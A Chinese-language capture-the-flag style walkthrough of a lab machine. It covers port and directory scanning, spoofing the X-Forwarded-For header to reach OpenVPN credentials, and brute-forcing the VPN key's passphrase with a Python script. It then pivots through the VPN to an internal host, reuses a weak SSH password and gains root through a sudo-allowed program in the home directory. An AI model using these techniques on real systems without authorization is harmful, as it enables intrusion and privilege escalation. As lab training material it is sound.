信息收集
服务探测
1 | ❯ sudo arp-scan -l |
仅仅开放了80端口
目录枚举一下
1 | ❯ dirsearch -u $ip |
浏览器访问一下,发现是Mac OS X Server
,UI很复古了🤣
在service
页面得到提示
1 | ❯ curl -s http://192.168.60.202/service/ |
X-Forwarded-For伪造
猜测可能需要本地访问才可以,添加X-Forwarded-For
由于127.0.0.1
不行
就尝试了靶机自身的ip,竟发现有回显了
得到疑似openvpn
的配置文件
1 | ❯ curl -s "http://192.168.60.202/service/" -H "X-Forwarded-For:$ip" |
不过很多信息被隐去了,需要手工去补全
其中就少了ca
cert
key
而密钥的后缀为.crt
我们尝试添加作为后缀,重新枚举目录
1 | ❯ feroxbuster -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt -x ca -x crt -x key |
得到三个新的文件ca.crt
client.crt
client.key
全部下载到本地
1 | ❯ wget http://192.168.60.202/service/ca.crt |
将.ovpn
配置文件放置在和私钥文件同一目录下
通常openvpn
开放udp1194
端口,查看靶机中是否开放
1 | ❯ nmap -sU -sV --version-intensity 0 -n -T4 $ip -p1194 |
手动修改配置文件
1 | ❯ curl -s "http://192.168.60.202/service/" -H "X-Forwarded-For:$ip" -o homelab.ovpn |
私钥解密
尝试利用openvpn
连接一下
显而易见,client.key
提示需要输入密码
1 | ❯ sudo openvpn homelab.ovpn |
只能尝试爆破了,利用-passin paas:
参数在命令行中传递密码
作者20206675
喜好使用xato-net-10-million-passwords-100000.txt
字典
这个稍微快一点
python脚本如下
1 | import subprocess |
运行一下
1 | ❯ python3 brute.py |
可以直接连接的时候输入密码,也可以将.opvn
配置文件中的key改为client_decrypted.key
1 | ❯ sudo openvpn homelab.ovpn |
建立TUN隧道了
查看ip,存在TUN0
的虚拟网卡,分配的地址为10.8.0.2
1 | ❯ ip a |
尝试扫一下此网段下的所有ip
只要10.8.0.1
存在,此ip大概是网关
1 | ❯ fscan -h 10.8.0.1/24 |
查看路由情况
1 | ❯ route |
得知访问10.176.13.0
网段时会走10.8.0.1
网关
其实你也可以从openvpn
的连接日志来看
1 | 2025-05-29 09:36:03 net_addr_v4_add: 10.8.0.2/24 dev tun0 |
再次扫描此网段
10.176.13.37
存活,并且开放了22
端口
1 | ❯ fscan -h 10.176.13.0/24 |
用户提权
从上文的.opvn
配置文件中的注释信息可以得知ssh
的密码大概也是弱密码
猜测密码复用
1 | ❯ ssh [email protected] |
Root提权
用户存在sudo权限,可以执行家目录中的程序
既然是家目录下的,删除,新建一个就完事了
1 | homelab:~$ rm deepseek |
后记
相关配置信息,新建了个虚拟网卡vth0
并分配10.176.13.37
同时,ssh配置中只监听10.176.13.37
1 | homelab:~$ cat /etc/openvpn/openvpn.conf |